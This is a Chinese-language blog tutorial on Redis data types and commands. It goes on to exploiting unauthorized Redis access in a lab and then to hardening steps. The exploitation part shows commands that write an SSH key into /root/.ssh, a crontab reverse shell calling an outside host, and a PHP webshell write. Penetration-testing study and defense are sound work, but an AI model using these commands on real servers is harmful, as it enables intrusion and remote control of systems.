1. 程式人生 > >Redis 基礎梳理以及其在滲透測試中的利用

Redis 基礎梳理以及其在滲透測試中的利用

0X00 前言:

之前一直說 NOSQL ,也看了不少文章對於未授權 NOSQL 的攻擊案例,知道大致怎麼用,但是自己一直沒有嘗試好好使用過,感覺對比 MYSQL 而言,我太輕視 NOSQL ,於是這次下定決心以 Redis 作為例子好好玩玩,特此記錄備忘。

0X01 簡介

我們知道 NOSQL 和 MYSQL 的差距還是非常大的,他不再是關係型資料庫(也就是說他不在存在表這種東西),那他是什麼呢?實際上它是以鍵值對的形式存放資料的,很像 json 的形式,並且與關係型資料庫相比 Redis 能儲存的資料型別也多得多,它不僅能儲存字串型的資料,還能儲存其他四種類型:list,set,zset(有序),hash (就算是和同類 NOSQL 資料庫 memcached 相比他也強大的多,因為 memcached 僅能支援比較單一的 key-value ),它支援資料在硬碟的持久化(EDB 快照或者是 AOF 的形式),還有一個特點就是他的所有操作都是原子性的,也就是說要麼成功執行,要麼就完全不執行。

0X02 小試牛刀

1.設定一個值並獲取

127.0.0.1:6379> set mykey abc
OK
127.0.0.1:6379> get mykey 
"abc"

2.檢視配置並修改選項

config get xxx (如果是 * 表示獲取全部)
config set xxx yyy 

注意:下面的配置項在我們的寫 shell 的過程中比較有用

(1)獲取 RDB 檔案的存放位置

config get dir

(2) 獲取 RDB 檔案的檔名(預設為dump.rdb)

config get dbfilename 

(3) 判斷 AOF 是否開啟

config get appendonly

(4)獲取 AOF 的檔名(預設appendonly.aof)

config get appendfilename

(5)獲取 AOF 檔案的備份方式(always everysec no)

config get appendfsync

0X03 資料型別

1.String 型別

String 是最基本的型別,這個型別是二進位制安全的,也就是說能儲存任何型別的資料,比如說 jpg 圖片或者序列化的物件,string 型別的值最大能儲存 512MB。

127.0.0.1:6379> set name K0rz3n
OK
127.0.0.1:6379> get name
"K0rz3n"
127.0.0.1:6379>

2.Hash 型別

應用場景:

我們要儲存一個使用者資訊物件資料,其中包括使用者ID、使用者姓名、年齡和生日,通過使用者ID我們希望獲取該使用者的姓名或者年齡或者生日;

實現方式:

Redis的Hash實際是內部儲存的Value為一個HashMap,並提供了直接存取這個Map成員的介面。如圖所示,Key是使用者ID, value是一個Map。這個Map的key是成員的屬性名,value是屬性值。這樣對資料的修改和存取都可以直接通過其內部Map的Key(Redis裡稱內部Map的key為field), 也就是通過 key(使用者ID) + field(屬性標籤) 就可以操作對應屬性資料。

如圖所示:

此處輸入圖片的描述

常用命令:

hget/hset/hgetall/hmset

示例程式碼:

127.0.0.1:6379> hmset 1 name K0rz3n age 20
OK
127.0.0.1:6379> hget 1 name
"K0rz3n"
127.0.0.1:6379> hget 1 age
"20"
127.0.0.1:6379>

3.List 型別

Redis 列表是簡單的字串列表,按照插入順序排序。你可以新增一個元素到列表的頭部(左邊)或者尾部(右邊),本質上是一個雙向連結串列,列表最多可儲存 2的32次方 - 1 個元素

應用場景:

Redis list的應用場景非常多,也是Redis最重要的資料結構之一,比如twitter的關注列表,粉絲列表等都可以用Redis的list結構來實現;

常用命令:

lpush/rpush/lpop/rpop/lrange

示例程式碼:

127.0.0.1:6379> lpush list K0rz3n
(integer) 1
127.0.0.1:6379> lpush list name
(integer) 2
127.0.0.1:6379> rpush list age
(integer) 3
127.0.0.1:6379> lrange list 0 10
1) "name"
2) "K0rz3n"
3) "age"
127.0.0.1:6379>

4.Set 型別

應用場景:

Redis set對外提供的功能與list類似是一個列表的功能,特殊之處在於set是可以自動排重的,當你需要儲存一個列表資料,又不希望出現重複資料時,set是一個很好的選擇,並且set提供了判斷某個成員是否在一個set集合內的重要介面,這個也是list所不能提供的;

實現方式:

set 的內部實現是一個 value永遠為null的HashMap,實際就是通過計算hash的方式來快速排重的,這也是set能提供判斷一個成員是否在集合內的原因。

常用命令:

sadd/spop/smembers/sunion

示例程式碼:

127.0.0.1:6379> sadd set K0rz3n
(integer) 1
127.0.0.1:6379> sadd set name
(integer) 1
127.0.0.1:6379> sadd set age
(integer) 1
127.0.0.1:6379> sadd set name
(integer) 0
127.0.0.1:6379> smembers set
1) "age"
2) "K0rz3n"
3) "name"

5.ZSet(Sorted set )型別

應用場景:

Redis sorted set的使用場景與set類似,區別是set不是自動有序的,而sorted set可以通過使用者額外提供一個優先順序(score)的引數來為成員排序,並且是插入有序的,即自動排序。當你需要一個有序的並且不重複的集合列表,那麼可以選擇sorted set資料結構,比如twitter 的public timeline可以以發表時間作為score來儲存,這樣獲取時就是自動按時間排好序的。

實現方式:

Redis sorted set的內部使用HashMap和跳躍表(SkipList)來保證資料的儲存和有序,HashMap裡放的是成員到score的對映,而跳躍表裡存放的是所有的成員,排序依據是HashMap裡存的score,使用跳躍表的結構可以獲得比較高的查詢效率,並且在實現上比較簡單。

常用命令:

zadd/zrange/zrem/zcard

示例程式碼:

127.0.0.1:6379> zadd zset 0 K0rz3n
(integer) 1
127.0.0.1:6379> zadd zset 0 name
(integer) 1
127.0.0.1:6379> zadd zset 0 age
(integer) 1
127.0.0.1:6379> zadd zset 0 name
(integer) 0
127.0.0.1:6379> zrangebyscore zset 0 10
1) "K0rz3n"
2) "age"
3) "name"

0X04 Redis 常用命令

1.PING 命令

ping 命令檢視是否連線 Redis 服務端成功

127.0.0.1:6379> ping
PONG

2.有關 key 的命令

1.del 刪除鍵

127.0.0.1:6379> set name K0rz3n
OK
127.0.0.1:6379> del name
(integer) 1

命令執行成功後輸出 (integer) 1,否則將輸出 (integer) 0

2.dump 序列化鍵

dump 序列化給定的鍵,並返回序列化後的值

127.0.0.1:6379> set name K0rz3n
OK
127.0.0.1:6379> dump name
"\x00\x06K0rz3n\a\x00R\xb7\x87H^\xd5B\n"

3.exists 檢查鍵是否存在

127.0.0.1:6379> exists name
(integer) 1

4.type 返回key 的儲存型別

127.0.0.1:6379> type name
string

5.keys 查詢所有符合給定模式的 Key

127.0.0.1:6379> keys n*
1) "naddfgfd"
2) "naaaa"
3) "name"

2.有關 String 的命令

1.getrange 擷取字串

127.0.0.1:6379> getrange name 0 2
"K0r"

2.strlen 返回 key 儲存的字串的長度

127.0.0.1:6379> strlen name
(integer) 6

3.append 追加字串

127.0.0.1:6379> append name _is_not_a_hacker
(integer) 22
127.0.0.1:6379> get name
"K0rz3n_is_not_a_hacker"

4.mget 獲取所有給定的 Key 的值

127.0.0.1:6379> mget name mykey
1) "K0rz3n_is_not_a_hacker"
2) "abc"

5.mset 設定一個或者多個 key-value

127.0.0.1:6379> mset name xiaoqiang age 20
OK
127.0.0.1:6379> mget name age
1) "xiaoqiang"
2) "20"

3.有關 Hash 的命令

1.hmset 設定一個或者多個 field-value

127.0.0.1:6379> hmset people name K0rz3n age 20 school xd
OK

2.hgetall 獲取給定鍵值的 hash 表內容

127.0.0.1:6379> hgetall people
1) "name"
2) "K0rz3n"
3) "age"
4) "20"
5) "school"
6) "xd"

3.hexists 判斷指定的 field 是否存在

127.0.0.1:6379> hexists people name
(integer) 1
127.0.0.1:6379> hexists people hh
(integer) 0

4.hget 獲取指定 field 的值

127.0.0.1:6379> hget people name
"K0rz3n"

5.hlen 獲取 hash 表中欄位的數量

127.0.0.1:6379> hlen people
(integer) 3

6.hkeys 獲取所有的鍵值

127.0.0.1:6379> hkeys people
1) "name"
2) "age"
3) "school"

7.hvals 獲取所有的值

127.0.0.1:6379> hvals people
1) "K0rz3n"
2) "20"
3) "xd"

4.有關 List 的命令

1.llen 獲取列表的長度

127.0.0.1:6379> llen list
(integer) 3

2.lindex 通過索引獲取列表中的元素

127.0.0.1:6379> lindex list 1
"K0rz3n"
127.0.0.1:6379> lindex list 0
"name"
127.0.0.1:6379> lindex list 2
"age"

3.lrange 獲取列表指定範圍內的元素

127.0.0.1:6379> lrange list 0 2
1) "name"
2) "K0rz3n"
3) "age"

4.linster 在元素的前或後插入元素

在前方插入

127.0.0.1:6379> linsert list before name new_name
(integer) 4
127.0.0.1:6379> lrange list 0 3
1) "new_name"
2) "name"
3) "K0rz3n"
4) "age"

在後方插入

127.0.0.1:6379> linsert list after name old_name
(integer) 5
127.0.0.1:6379> lrange list 0 4
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"

5.lpush 將一個或者多個值插入列表頭部

127.0.0.1:6379> lpush list hh
(integer) 6
127.0.0.1:6379> lrange list 0 5
1) "hh"
2) "new_name"
3) "name"
4) "old_name"
5) "K0rz3n"
6) "age"

6.lpop 移除並獲取列表第一個元素

127.0.0.1:6379> lpop list
"hh"
127.0.0.1:6379> lrange list 0 10
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"

7.rpush 將一個或者多個值插入列表尾部

127.0.0.1:6379> rpush list hh
(integer) 6
127.0.0.1:6379> lrange list 0 10
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"
6) "hh"

8.rpop 移除並獲取列表最後一個元素

127.0.0.1:6379> rpop list
"hh"
127.0.0.1:6379> lrange list 0 10
1) "new_name"
2) "name"
3) "old_name"
4) "K0rz3n"
5) "age"

5.有關 Set 的命令

1.sadd 向集合中新增一個或者多個成員

127.0.0.1:6379> sadd set1 K0rz3n new old age
(integer) 4

2.scard 返回集合的成員數

127.0.0.1:6379> scard set1
(integer) 4

3.smembers 返回集合的所有成員

127.0.0.1:6379> smembers set1
1) "new"
2) "age"
3) "old"
4) "K0rz3n"

4.sismember 判斷是否是集合的成員

127.0.0.1:6379> sismember set1 age
(integer) 1
127.0.0.1:6379> sismember set1 hh
(integer) 0

0X05 資料的備份與恢復

Redis SAVE 命令用於建立當前資料庫的備份。

直接在命令列輸入 save 就能在 config dir 指定的目錄中建立一個 dump.rdb 檔案

注意:

建立 redis 備份檔案也可以使用命令 BGSAVE,該命令在後臺執行。

0X06 Redis 在滲透測試中的利用

1.Redis 未授權訪問:

1.漏洞描述:

在特定條件下,如果Redis以root身份執行,黑客可以給root賬戶寫入SSH公鑰檔案,直接通過SSH登入受害伺服器,可導致伺服器許可權被獲取和資料刪除、洩露或加密勒索事件發生,嚴重危害業務正常服務。部分 Redis 繫結在 0.0.0.0:6379,並且沒有開啟密碼認證(這是Redis 的預設配置),如果沒有進行採用相關的策略,比如新增防火牆規則避免其他非信任來源 ip 訪問等,將會導致 Redis 服務直接暴露在公網上,導致其他使用者可以直接在非授權情況下直接訪問Redis服務並進行相關操作。

2.利用 Redis 獲取敏感資訊

(1)Info

如果 Redis 未授權訪問成功(預設是空口令),我們就能直接使用 Info 命令獲取 Redis 以及系統的資訊

如題所示:

此處輸入圖片的描述

(2)keys * / get key

我們能獲取所有的鍵以及對應的值(使用 keys * 和 get key 命令)

如圖所示:

此處輸入圖片的描述

3.寫公鑰直接 ssh 連線

1.原理分析:

原理就是在資料庫中插入一條資料,將本機的公鑰作為value,key值隨意,然後通過修改資料庫的預設路徑為/root/.ssh和預設的緩衝檔案authorized.keys,把緩衝的資料儲存在檔案裡,這樣就可以再伺服器端的/root/.ssh下生一個授權的key。

2.大致的流程圖如下

如圖所示:

此處輸入圖片的描述

2.測試開始:

我在我的 vps 上開放了一個 docker 配置 redis 為未授權訪問狀態,將 docker 的 22 埠對映為 Vps 的 20002 埠,docker 的 6379 埠對映為 60009 埠

1.首先在本地生成 ssh 公私鑰

ssh-keygen -t rsa

如圖所示:

此處輸入圖片的描述

2.將公鑰匯出為一個檔案

(echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > key.txt

這裡的換行符是防止金鑰資料和其他的 redis 快取資料混合

如圖所示:

此處輸入圖片的描述

3.訪問 redis 的同時將某個鍵的值設定為檔案的內容

cat /root/.ssh/key.txt | ./redis-cli -h xxx.xxx.xxx.xxx -p 60009 -x set xxx

如圖所示:

此處輸入圖片的描述

4.改變 redis 的 RDB 目錄以及檔案為 /root/.ssh/authorized_keys

config set dir /root/.ssh

config set dbfilename authorized_keys

如圖所示:

此處輸入圖片的描述

並且我們可以看到我們的 key.txt 已經儲存在了 鍵為 hacker 的字串 value 裡面

5.將快取資料(key.txt 和其他的一些 redis 本身的快取)寫入磁碟檔案

save

6.成功無密碼登入 docker

如圖所示:

此處輸入圖片的描述

7.我們看一下寫入的檔案的內容

如圖所示:

此處輸入圖片的描述

4.利用 crontable 反彈shell

這個利用和上面的利用是一樣的方法只不過是換了一下寫入檔案的路徑以及寫進去的內容

1.埠監聽

我先在我另一臺 vps 上監聽 9999 埠

nc -lvv 9999

如圖所示:

此處輸入圖片的描述

2.設定某一個鍵的值為符合 crontable 格式的反彈 shell 一句話

set hacker "\n\n*/1 * * * * /bin/bash -i>&/dev/tcp/xxx.xxx.xxx.xxx/9999 0>&1\n\n"

如圖所示:

此處輸入圖片的描述

3.改變路徑和檔名為 /var/spool/cron/root

config set dir /var/spool/cron
config set dbfilename root
save

如圖所示:

此處輸入圖片的描述

4.等待

這裡解釋一下為什麼要寫成 root 因為/var/spool/cron/ 這個目錄下存放的是每個使用者包括root的crontab任務,每個任務以建立者的名字命名,比如tom建的crontab任務對應的檔案就是/var/spool/cron/tom。一般一個使用者最多隻有一個crontab檔案。

5. 利用 Redis 寫 webshell

1.概述

我一開始也說了, redis 和 memcached 的很大區別就在於他能將資料持久化儲存(雖然兩個的側重點都在快取而不是將資料儲存在硬碟上,但是他就是支援),這個性質對我們來說是非常好的,我們可以利用這個寫入磁碟的性質實現 寫入我們的 shell

我之前提到了 RDB 和 AOF 這兩個機制就是我們寫檔案的基礎,RDB 像一個數據庫備份檔案,而AOF是一個log日誌檔案。我們可以設定讓 redis 在指定時間、指定更改次數時進行備份,生成RDB檔案;而設定AOF,可以在操作或時間過程後將“日誌”寫入一個檔案的最末,當操作越來越多,則AOF檔案越來越大。二者是相輔相成的,通過二者的配合我們能夠穩定地持久地將資料儲存於伺服器上。

2.測試

這個 webshell 的寫入方法非常的類似於 MYSQL 利用 general log 寫 shell 的方式,如果你還不瞭解 mysql 的寫入 shell 的方式 可以參考我的這篇文章 :Mysql 在滲透測試中的利用

1.寫入 webshell

127.0.0.1:6379> config set dir E:/phpstudy/PHPTutorial/WWW/
OK
127.0.0.1:6379> config set dbfilename redis.php
OK
127.0.0.1:6379> set webshell "<?php phpinfo();?>"
OK

2.訪問測試

如圖所示:

此處輸入圖片的描述

0X07 如何防禦

方法一:禁用高危命令(重啟redis才能生效)

在 redis.conf 檔案中直接將危險命令置空,或者改變其名字

rename-command FLUSHALL ""
rename-command CONFIG ""
rename-command EVAL ""

或者

rename-command FLUSHALL "name1"
rename-command CONFIG "name2"
rename-command EVAL "name3"

方法二:以低許可權執行 Redis 服務(重啟redis才能生效)

我們知道程序的許可權就是啟動程序使用者的許可權,所以我們單獨給 redis 開一個使用者,這樣不是 root 很多的操作都不能做了(方法類似於 apache 的降權執行防止 getshell 以後刪除整站)

groupadd -r redis   
useradd -r -g redis redis

方法三:為 Redis 新增密碼驗證(重啟redis才能生效)

我覺得這個方法是最最核心的,因為預設的密碼是空,然後不改的話就是直接被打

修改 redis.conf 檔案,新增

requirepass mypassword

方法四:禁止外網訪問 Redis(重啟redis才能生效)

這個措施配合設定密碼,一般來講就沒有什麼大的問題, 就怕這個設定了結果密碼沒設定,萬一出了 SSRF 照打不誤

修改 redis.conf 檔案,新增或修改,使得 Redis 服務只在當前主機可用(當然你設定成當前主機可用的話,安全性就更高了

bind 127.0.0.1

注意:

在redis3.2之後,redis增加了protected-mode,在這個模式下,非繫結IP或者沒有配置密碼訪問時都會報錯

方法五:修改預設埠

這個方式就是不給攻擊者試探的機會,反正就是增大了測試的難度

修改配置檔案redis.conf檔案

Port 6379

方法五:設定檔案的隱藏屬性

我們上面的利用中有一個利用的是修改 authorized_keys ,為了避免這種情況,我們需要控制這個檔案無法被篡改,這就涉及到 Linux 中的檔案的隱藏屬性的知識點

兩個比較重要的命令:

chattr:change file attributes

lsattr:list file attributes

兩個比較重要的引數:

a 引數:

設定了a引數時,檔案中將只能增加內容,不能刪除資料,且不能開啟檔案進行任何編輯,哪怕是追加內容也不可以,所以像sed等需要開啟檔案的再寫入資料的工具也無法操作成功。檔案也不能被刪除。只有root才能設定。

i 引數:

設定了i引數時,檔案將被鎖定,不能向其中增刪改內容,也不能刪除修改檔案等各種動作。只有root才能設定。可以將其理解為設定了i後,檔案將是永恆不變的了,誰都不能動它。

將 authorized_keys 的許可權設定為對擁有者只讀,其他使用者沒有任何許可權:

chmod 400 ~/.ssh/authorized_keys

為保證 authorized_keys 的許可權不會被改掉,您還需要設定該檔案的 immutable 位許可權:

chattr +i ~/.ssh/authorized_keys

然而,使用者還可以重新命名 ~/.ssh,然後新建新的 ~/.ssh 目錄和 authorized_keys
檔案。要避免這種情況,需要設定 ~./ssh 的 immutable 許可權:

chattr +i ~/.ssh

方法六:設定防火牆策略  

如果正常業務中Redis服務需要被其他伺服器來訪問,可以設定iptables策略僅允許指定的IP來訪問Redis服務

0X07 總結

本文主要是簡單的介紹了一下 redi 並與其他型別資料庫做了一些對比,利用 redis 能持久化儲存的特性並結合 redis 的未授漏洞,嘗試了幾種不同的攻擊方式,紙上得來終覺淺,絕知此事要躬行啊。

0X08 參考

https://www.jb51.net/article/118777.htm
https://www.freebuf.com/column/158065.html
https://www.leavesongs.com/PENETRATION/zhangyue-python-web-code-execute.html